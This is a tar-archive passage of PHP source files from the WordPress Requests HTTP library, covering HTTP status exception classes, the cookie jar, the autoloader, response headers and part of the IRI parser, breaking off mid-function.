0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 408 Request Timeout responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 408 Request Timeout responses * * @package Requests\Exceptions */ final class Status408 extends Http { /** * HTTP status code * * @var integer */ protected $code = 408; /** * Reason phrase * * @var string */ protected $reason = 'Request Timeout'; } �������������������������������������������Requests/src/Exception/Http/Status503.php�����������������������������������������������������������0000644�����������������00000000741�14717703502�0014257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 503 Service Unavailable responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 503 Service Unavailable responses * * @package Requests\Exceptions */ final class Status503 extends Http { /** * HTTP status code * * @var integer */ protected $code = 503; /** * Reason phrase * * @var string */ protected $reason = 'Service Unavailable'; } �������������������������������Requests/src/Exception/Http/Status505.php�����������������������������������������������������������0000644�����������������00000000766�14717703502�0014270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 505 HTTP Version Not Supported responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 505 HTTP Version Not Supported responses * * @package Requests\Exceptions */ final class Status505 extends Http { /** * HTTP status code * * @var integer */ protected $code = 505; /** * Reason phrase * * @var string */ protected $reason = 'HTTP Version Not Supported'; } ����������Requests/src/Exception/Http/Status410.php�����������������������������������������������������������0000644�����������������00000000664�14717703502�0014260 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 410 Gone responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 410 Gone responses * * @package Requests\Exceptions */ final class Status410 extends Http { /** * HTTP status code * * @var integer */ protected $code = 410; /** * Reason phrase * * @var string */ protected $reason = 'Gone'; } ����������������������������������������������������������������������������Requests/src/Cookie/Jar.php�������������������������������������������������������������������������0000644�����������������00000010413�14717703502�0011611 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cookie holder object * * @package Requests\Cookies */ namespace WpOrg\Requests\Cookie; use ArrayAccess; use ArrayIterator; use IteratorAggregate; use ReturnTypeWillChange; use WpOrg\Requests\Cookie; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\HookManager; use WpOrg\Requests\Iri; use WpOrg\Requests\Response; /** * Cookie holder object * * @package Requests\Cookies */ class Jar implements ArrayAccess, IteratorAggregate { /** * Actual item data * * @var array */ protected $cookies = []; /** * Create a new jar * * @param array $cookies Existing cookie values * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array. */ public function __construct($cookies = []) { if (is_array($cookies) === false) { throw InvalidArgument::create(1, '$cookies', 'array', gettype($cookies)); } $this->cookies = $cookies; } /** * Normalise cookie data into a \WpOrg\Requests\Cookie * * @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object). * @param string $key Optional. The name for this cookie. * @return \WpOrg\Requests\Cookie */ public function normalize_cookie($cookie, $key = '') { if ($cookie instanceof Cookie) { return $cookie; } return Cookie::parse($cookie, $key); } /** * Check if the given item exists * * @param string $offset Item key * @return boolean Does the item exist? */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->cookies[$offset]); } /** * Get the value for the item * * @param string $offset Item key * @return string|null Item value (null if offsetExists is false) */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->cookies[$offset])) { return null; } return $this->cookies[$offset]; } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } $this->cookies[$offset] = $value; } /** * Unset the given header * * @param string $offset The key for the item to unset. */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->cookies[$offset]); } /** * Get an iterator for the data * * @return \ArrayIterator */ #[ReturnTypeWillChange] public function getIterator() { return new ArrayIterator($this->cookies); } /** * Register the cookie handler with the request's hooking system * * @param \WpOrg\Requests\HookManager $hooks Hooking system */ public function register(HookManager $hooks) { $hooks->register('requests.before_request', [$this, 'before_request']); $hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']); } /** * Add Cookie header to a request if we have any * * As per RFC 6265, cookies are separated by '; ' * * @param string $url * @param array $headers * @param array $data * @param string $type * @param array $options */ public function before_request($url, &$headers, &$data, &$type, &$options) { if (!$url instanceof Iri) { $url = new Iri($url); } if (!empty($this->cookies)) { $cookies = []; foreach ($this->cookies as $key => $cookie) { $cookie = $this->normalize_cookie($cookie, $key); // Skip expired cookies if ($cookie->is_expired()) { continue; } if ($cookie->domain_matches($url->host)) { $cookies[] = $cookie->format_for_header(); } } $headers['Cookie'] = implode('; ', $cookies); } } /** * Parse all cookies from a response and attach them to the response * * @param \WpOrg\Requests\Response $response Response as received. */ public function before_redirect_check(Response $response) { $url = $response->url; if (!$url instanceof Iri) { $url = new Iri($url); } $cookies = Cookie::parse_from_headers($response->headers, $url); $this->cookies = array_merge($this->cookies, $cookies); $response->cookies = $this; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Autoload.php���������������������������������������������������������������������������0000644�����������������00000022167�14717703502�0011445 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Autoloader for Requests for PHP. * * Include this file if you'd like to avoid having to create your own autoloader. * * @package Requests * @since 2.0.0 * * @codeCoverageIgnore */ namespace WpOrg\Requests; /* * Ensure the autoloader is only declared once. * This safeguard is in place as this is the typical entry point for this library * and this file being required unconditionally could easily cause * fatal "Class already declared" errors. */ if (class_exists('WpOrg\Requests\Autoload') === false) { /** * Autoloader for Requests for PHP. * * This autoloader supports the PSR-4 based Requests 2.0.0 classes in a case-sensitive manner * as the most common server OS-es are case-sensitive and the file names are in mixed case. * * For the PSR-0 Requests 1.x BC-layer, requested classes will be treated case-insensitively. * * @package Requests */ final class Autoload { /** * List of the old PSR-0 class names in lowercase as keys with their PSR-4 case-sensitive name as a value. * * @var array */ private static $deprecated_classes = [ // Interfaces. 'requests_auth' => '\WpOrg\Requests\Auth', 'requests_hooker' => '\WpOrg\Requests\HookManager', 'requests_proxy' => '\WpOrg\Requests\Proxy', 'requests_transport' => '\WpOrg\Requests\Transport', // Classes. 'requests_cookie' => '\WpOrg\Requests\Cookie', 'requests_exception' => '\WpOrg\Requests\Exception', 'requests_hooks' => '\WpOrg\Requests\Hooks', 'requests_idnaencoder' => '\WpOrg\Requests\IdnaEncoder', 'requests_ipv6' => '\WpOrg\Requests\Ipv6', 'requests_iri' => '\WpOrg\Requests\Iri', 'requests_response' => '\WpOrg\Requests\Response', 'requests_session' => '\WpOrg\Requests\Session', 'requests_ssl' => '\WpOrg\Requests\Ssl', 'requests_auth_basic' => '\WpOrg\Requests\Auth\Basic', 'requests_cookie_jar' => '\WpOrg\Requests\Cookie\Jar', 'requests_proxy_http' => '\WpOrg\Requests\Proxy\Http', 'requests_response_headers' => '\WpOrg\Requests\Response\Headers', 'requests_transport_curl' => '\WpOrg\Requests\Transport\Curl', 'requests_transport_fsockopen' => '\WpOrg\Requests\Transport\Fsockopen', 'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary', 'requests_utility_filterediterator' => '\WpOrg\Requests\Utility\FilteredIterator', 'requests_exception_http' => '\WpOrg\Requests\Exception\Http', 'requests_exception_transport' => '\WpOrg\Requests\Exception\Transport', 'requests_exception_transport_curl' => '\WpOrg\Requests\Exception\Transport\Curl', 'requests_exception_http_304' => '\WpOrg\Requests\Exception\Http\Status304', 'requests_exception_http_305' => '\WpOrg\Requests\Exception\Http\Status305', 'requests_exception_http_306' => '\WpOrg\Requests\Exception\Http\Status306', 'requests_exception_http_400' => '\WpOrg\Requests\Exception\Http\Status400', 'requests_exception_http_401' => '\WpOrg\Requests\Exception\Http\Status401', 'requests_exception_http_402' => '\WpOrg\Requests\Exception\Http\Status402', 'requests_exception_http_403' => '\WpOrg\Requests\Exception\Http\Status403', 'requests_exception_http_404' => '\WpOrg\Requests\Exception\Http\Status404', 'requests_exception_http_405' => '\WpOrg\Requests\Exception\Http\Status405', 'requests_exception_http_406' => '\WpOrg\Requests\Exception\Http\Status406', 'requests_exception_http_407' => '\WpOrg\Requests\Exception\Http\Status407', 'requests_exception_http_408' => '\WpOrg\Requests\Exception\Http\Status408', 'requests_exception_http_409' => '\WpOrg\Requests\Exception\Http\Status409', 'requests_exception_http_410' => '\WpOrg\Requests\Exception\Http\Status410', 'requests_exception_http_411' => '\WpOrg\Requests\Exception\Http\Status411', 'requests_exception_http_412' => '\WpOrg\Requests\Exception\Http\Status412', 'requests_exception_http_413' => '\WpOrg\Requests\Exception\Http\Status413', 'requests_exception_http_414' => '\WpOrg\Requests\Exception\Http\Status414', 'requests_exception_http_415' => '\WpOrg\Requests\Exception\Http\Status415', 'requests_exception_http_416' => '\WpOrg\Requests\Exception\Http\Status416', 'requests_exception_http_417' => '\WpOrg\Requests\Exception\Http\Status417', 'requests_exception_http_418' => '\WpOrg\Requests\Exception\Http\Status418', 'requests_exception_http_428' => '\WpOrg\Requests\Exception\Http\Status428', 'requests_exception_http_429' => '\WpOrg\Requests\Exception\Http\Status429', 'requests_exception_http_431' => '\WpOrg\Requests\Exception\Http\Status431', 'requests_exception_http_500' => '\WpOrg\Requests\Exception\Http\Status500', 'requests_exception_http_501' => '\WpOrg\Requests\Exception\Http\Status501', 'requests_exception_http_502' => '\WpOrg\Requests\Exception\Http\Status502', 'requests_exception_http_503' => '\WpOrg\Requests\Exception\Http\Status503', 'requests_exception_http_504' => '\WpOrg\Requests\Exception\Http\Status504', 'requests_exception_http_505' => '\WpOrg\Requests\Exception\Http\Status505', 'requests_exception_http_511' => '\WpOrg\Requests\Exception\Http\Status511', 'requests_exception_http_unknown' => '\WpOrg\Requests\Exception\Http\StatusUnknown', ]; /** * Register the autoloader. * * Note: the autoloader is *prepended* in the autoload queue. * This is done to ensure that the Requests 2.0 autoloader takes precedence * over a potentially (dependency-registered) Requests 1.x autoloader. * * @internal This method contains a safeguard against the autoloader being * registered multiple times. This safeguard uses a global constant to * (hopefully/in most cases) still function correctly, even if the * class would be renamed. * * @return void */ public static function register() { if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) { spl_autoload_register([self::class, 'load'], true); define('REQUESTS_AUTOLOAD_REGISTERED', true); } } /** * Autoloader. * * @param string $class_name Name of the class name to load. * * @return bool Whether a class was loaded or not. */ public static function load($class_name) { // Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4). $psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\'); if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) { return false; } $class_lower = strtolower($class_name); if ($class_lower === 'requests') { // Reference to the original PSR-0 Requests class. $file = dirname(__DIR__) . '/library/Requests.php'; } elseif ($psr_4_prefix_pos === 0) { // PSR-4 classname. $file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php'; } if (isset($file) && file_exists($file)) { include $file; return true; } /* * Okay, so the class starts with "Requests", but we couldn't find the file. * If this is one of the deprecated/renamed PSR-0 classes being requested, * let's alias it to the new name and throw a deprecation notice. */ if (isset(self::$deprecated_classes[$class_lower])) { /* * Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations * by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`. * The constant needs to be defined before the first deprecated class is requested * via this autoloader. */ if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error trigger_error( 'The PSR-0 `Requests_...` class names in the Requests library are deprecated.' . ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.', E_USER_DEPRECATED ); // Prevent the deprecation notice from being thrown twice. if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) { define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true); } } // Create an alias and let the autoloader recursively kick in to load the PSR-4 class. return class_alias(self::$deprecated_classes[$class_lower], $class_name, true); } return false; } } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Response/Headers.php�������������������������������������������������������������������0000644�����������������00000006035�14717703502�0013042 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Case-insensitive dictionary, suitable for HTTP headers * * @package Requests */ namespace WpOrg\Requests\Response; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Utility\CaseInsensitiveDictionary; use WpOrg\Requests\Utility\FilteredIterator; /** * Case-insensitive dictionary, suitable for HTTP headers * * @package Requests */ class Headers extends CaseInsensitiveDictionary { /** * Get the given header * * Unlike {@see \WpOrg\Requests\Response\Headers::getValues()}, this returns a string. If there are * multiple values, it concatenates them with a comma as per RFC2616. * * Avoid using this where commas may be used unquoted in values, such as * Set-Cookie headers. * * @param string $offset Name of the header to retrieve. * @return string|null Header value */ public function offsetGet($offset) { if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { return null; } return $this->flatten($this->data[$offset]); } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { $this->data[$offset] = []; } $this->data[$offset][] = $value; } /** * Get all values for a given header * * @param string $offset Name of the header to retrieve. * @return array|null Header values * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key. */ public function getValues($offset) { if (!is_string($offset) && !is_int($offset)) { throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset)); } if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { return null; } return $this->data[$offset]; } /** * Flattens a value into a string * * Converts an array into a string by imploding values with a comma, as per * RFC2616's rules for folding headers. * * @param string|array $value Value to flatten * @return string Flattened value * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array. */ public function flatten($value) { if (is_string($value)) { return $value; } if (is_array($value)) { return implode(',', $value); } throw InvalidArgument::create(1, '$value', 'string|array', gettype($value)); } /** * Get an iterator for the data * * Converts the internally stored values to a comma-separated string if there is more * than one value for a key. * * @return \ArrayIterator */ public function getIterator() { return new FilteredIterator($this->data, [$this, 'flatten']); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Iri.php��������������������������������������������������������������������������������0000644�����������������00000071666�14717703502�0010430 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * IRI parser/serialiser/normaliser * * @package Requests\Utilities */ namespace WpOrg\Requests; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Ipv6; use WpOrg\Requests\Port; use WpOrg\Requests\Utility\InputValidator; /** * IRI parser/serialiser/normaliser * * Copyright (c) 2007-2010, Geoffrey Sneddon and Steve Minutillo. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package Requests\Utilities * @author Geoffrey Sneddon * @author Steve Minutillo * @copyright 2007-2009 Geoffrey Sneddon and Steve Minutillo * @license https://opensource.org/licenses/bsd-license.php * @link http://hg.gsnedders.com/iri/ * * @property string $iri IRI we're working with * @property-read string $uri IRI in URI form, {@see \WpOrg\Requests\Iri::to_uri()} * @property string $scheme Scheme part of the IRI * @property string $authority Authority part, formatted for a URI (userinfo + host + port) * @property string $iauthority Authority part of the IRI (userinfo + host + port) * @property string $userinfo Userinfo part, formatted for a URI (after '://' and before '@') * @property string $iuserinfo Userinfo part of the IRI (after '://' and before '@') * @property string $host Host part, formatted for a URI * @property string $ihost Host part of the IRI * @property string $port Port part of the IRI (after ':') * @property string $path Path part, formatted for a URI (after first '/') * @property string $ipath Path part of the IRI (after first '/') * @property string $query Query part, formatted for a URI (after '?') * @property string $iquery Query part of the IRI (after '?') * @property string $fragment Fragment, formatted for a URI (after '#') * @property string $ifragment Fragment part of the IRI (after '#') */ class Iri { /** * Scheme * * @var string|null */ protected $scheme = null; /** * User Information * * @var string|null */ protected $iuserinfo = null; /** * ihost * * @var string|null */ protected $ihost = null; /** * Port * * @var string|null */ protected $port = null; /** * ipath * * @var string */ protected $ipath = ''; /** * iquery * * @var string|null */ protected $iquery = null; /** * ifragment|null * * @var string */ protected $ifragment = null; /** * Normalization database * * Each key is the scheme, each value is an array with each key as the IRI * part and value as the default value for that part. * * @var array */ protected $normalization = array( 'acap' => array( 'port' => Port::ACAP, ), 'dict' => array( 'port' => Port::DICT, ), 'file' => array( 'ihost' => 'localhost', ), 'http' => array( 'port' => Port::HTTP, ), 'https' => array( 'port' => Port::HTTPS, ), ); /** * Return the entire IRI when you try and read the object as a string * * @return string */ public function __toString() { return $this->get_iri(); } /** * Overload __set() to provide access via properties * * @param string $name Property name * @param mixed $value Property value */ public function __set($name, $value) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), $value); } elseif ( $name === 'iauthority' || $name === 'iuserinfo' || $name === 'ihost' || $name === 'ipath' || $name === 'iquery' || $name === 'ifragment' ) { call_user_func(array($this, 'set_' . substr($name, 1)), $value); } } /** * Overload __get() to provide access via properties * * @param string $name Property name * @return mixed */ public function __get($name) { // isset() returns false for null, we don't want to do that // Also why we use array_key_exists below instead of isset() $props = get_object_vars($this); if ( $name === 'iri' || $name === 'uri' || $name === 'iauthority' || $name === 'authority' ) { $method = 'get_' . $name; $return = $this->$method(); } elseif (array_key_exists($name, $props)) { $return = $this->$name; } // host -> ihost elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } // ischeme -> scheme elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } else { trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE); $return = null; } if ($return === null && isset($this->normalization[$this->scheme][$name])) { return $this->normalization[$this->scheme][$name]; } else { return $return; } } /** * Overload __isset() to provide access via properties * * @param string $name Property name * @return bool */ public function __isset($name) { return (method_exists($this, 'get_' . $name) || isset($this->$name)); } /** * Overload __unset() to provide access via properties * * @param string $name Property name */ public function __unset($name) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), ''); } } /** * Create a new IRI object, from a specified string * * @param string|Stringable|null $iri * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null. */ public function __construct($iri = null) { if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) { throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri)); } $this->set_iri($iri); } /** * Create a new IRI object by resolving a relative IRI * * Returns false if $base is not absolute, otherwise an IRI. * * @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI * @param \WpOrg\Requests\Iri|string $relative Relative IRI * @return \WpOrg\Requests\Iri|false */ public static function absolutize($base, $relative) { if (!($relative instanceof self)) { $relative = new self($relative); } if (!$relative->is_valid()) { return false; } elseif ($relative->scheme !== null) { return clone $relative; } if (!($base instanceof self)) { $base = new self($base); } if ($base->scheme === null || !$base->is_valid()) { return false; } if ($relative->get_iri() !== '') { if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { $target = clone $relative; $target->scheme = $base->scheme; } else { $target = new self; $target->scheme = $base->scheme; $target->iuserinfo = $base->iuserinfo; $target->ihost = $base->ihost; $target->port = $base->port; if ($relative->ipath !== '') { if ($relative->ipath[0] === '/') { $target->ipath = $relative->ipath; } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { $target->ipath = '/' . $relative->ipath; } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; } else { $target->ipath = $relative->ipath; } $target->ipath = $target->remove_dot_segments($target->ipath); $target->iquery = $relative->iquery; } else { $target->ipath = $base->ipath; if ($relative->iquery !== null) { $target->iquery = $relative->iquery; } elseif ($base->iquery !== null) { $target->iquery = $base->iquery; } } $target->ifragment = $relative->ifragment; } } else { $target = clone $base; $target->ifragment = null; } $target->scheme_normalization(); return $target; } /** * Parse an IRI into scheme/authority/path/query/fragment segments * * @param string $iri * @return array */ protected function parse_iri($iri) { $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); $has_match = preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match); if (!$has_match) { throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri); } if ($match[1] === '') { $match['scheme'] = null; } if (!isset($match[3]) || $match[3] === '') { $match['authority'] = null; } if (!isset($match[5])) { $match['path'] = ''; } if (!isset($match[6]) || $match[6] === '') { $match['query'] = null; } if (!isset($match[8]) || $match[8] === '') { $match['fragment'] = null; } return $match; } /** * Remove dot segments from a path * * @param string $input * @return string */ protected function remove_dot_segments($input) { $output = ''; while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { // A: If the input buffer begins with a prefix of "../" or "./", // then remove that prefix from the input buffer; otherwise, if (strpos($input, '../') === 0) { $input = substr($input, 3); } elseif (strpos($input, './') === 0) { $input = substr($input, 2); } // B: if the input buffer begins with a prefix of "/./" or "/.", // where "." is a complete path segment, then replace that prefix // with "/" in the input buffer; otherwise, elseif (strpos($input, '/./') === 0) { $input = substr($input, 2); } elseif ($input === '/.') { $input = '/'; } // C: if the input buffer begins with a prefix of "/../" or "/..", // where ".." is a complete path segment, then replace that prefix // with "/" in the input buffer and remove the last segment and its // preceding "/" (if any) from the output buffer; otherwise, elseif (strpos($input, '/../') === 0) { $input = substr($input, 3); $output = substr_replace($output, '', (strrpos($output, '/') ?: 0)); } elseif ($input === '/..') { $input = '/'; $output = substr_replace($output, '', (strrpos($output, '/') ?: 0)); } // D: if the input buffer consists only of "." or "..", then remove // that from the input buffer; otherwise, elseif ($input === '.' || $input === '..') { $input = ''; } // E: move the first path segment in the input buffer to the end of // the output buffer, including the initial "/" character (if any) // and any subsequent characters up to, but not including, the next // "/" character or the end of the input buffer elseif (($pos = strpos($input, '/', 1)) !== false) { $output .= substr($input, 0, $pos); $input = substr_replace($input, '', 0, $pos); } else { $output .= $input; $input = ''; } } return $output . $input; } /** * Replace invalid character with percent encoding * * @param string $text Input string * @param string $extra_chars Valid characters not in iunreserved or * iprivate (this is ASCII-only) * @param bool $iprivate Allow iprivate * @return string */ protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) { // Normalize as many pct-encoded sections as possible $text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text); // Replace invalid percent characters $text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text); // Add unreserved and % to $extra_chars (the latter is safe because all // pct-encoded sections are now valid). $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; // Now replace any bytes that aren't allowed with their pct-encoded versions $position = 0; $strlen = strlen($text); while (($position += strspn($text, $extra_chars, $position)) < $strlen) { $value = ord($text[$position]); // Start position $start = $position; // By default we are valid $valid = true; // No one byte sequences are valid due to the while. // Two byte sequence: if (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $length = 1; $remaining = 0; } if ($remaining) { if ($position + $length <= $strlen) { for ($position++; $remaining; $position++) { $value = ord($text[$position]); // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $character |= ($value & 0x3F) << (--$remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte: else { $valid = false; $position--; break; } } } else { $position = $strlen - 1; $valid = false; } } // Percent encode anything invalid or not in ucschar if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0xA0 || $character > 0xEFFFD ) && ( // Everything not in iprivate, if it applies !$iprivate || $character < 0xE000 || $character > 0x10FFFD ) ) { // If we were a character, pretend we weren't, but rather an error. if ($valid) { $position--; } for ($j = $start; $j <= $position; $j++) { $text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1); $j += 2; $position += 2; $strlen += 2; } } } return $text; } /** * Callback function for preg_replace_callback. * * Removes sequences of percent encoded bytes that represent UTF-8 * encoded characters in iunreserved * * @param array $regex_match PCRE match * @return string Replacement */ protected function remove_iunreserved_percent_encoded($regex_match) { // As we just have valid percent encoded sequences we can just explode // and ignore the first member of the returned array (an empty string). $bytes = explode('%', $regex_match[0]); // Initialize the new string (this is what will be returned) and that // there are no bytes remaining in the current sequence (unsurprising // at the first byte!). $string = ''; $remaining = 0; // Loop over each and every byte, and set $value to its value for ($i = 1, $len = count($bytes); $i < $len; $i++) { $value = hexdec($bytes[$i]); // If we're the first byte of sequence: if (!$remaining) { // Start position $start = $i; // By default we are valid $valid = true; // One byte sequence: if ($value <= 0x7F) { $character = $value; $length = 1; } // Two byte sequence: elseif (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $remaining = 0; } } // Continuation byte: else { // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $remaining--; $character |= ($value & 0x3F) << ($remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: else { $valid = false; $remaining = 0; $i--; } } // If we've reached the end of the current byte sequence, append it to Unicode::$data if (!$remaining) { // Percent encode anything invalid or not in iunreserved if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of iunreserved codepoints || $character < 0x2D || $character > 0xEFFFD // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF // Everything else not in iunreserved (this is all BMP) || $character === 0x2F || $character > 0x39 && $character < 0x41 || $character > 0x5A && $character < 0x61 || $character > 0x7A && $character < 0x7E || $character > 0x7E && $character < 0xA0 || $character > 0xD7FF && $character < 0xF900 ) { for ($j = $start; $j <= $i; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } else { for ($j = $start; $j <= $i; 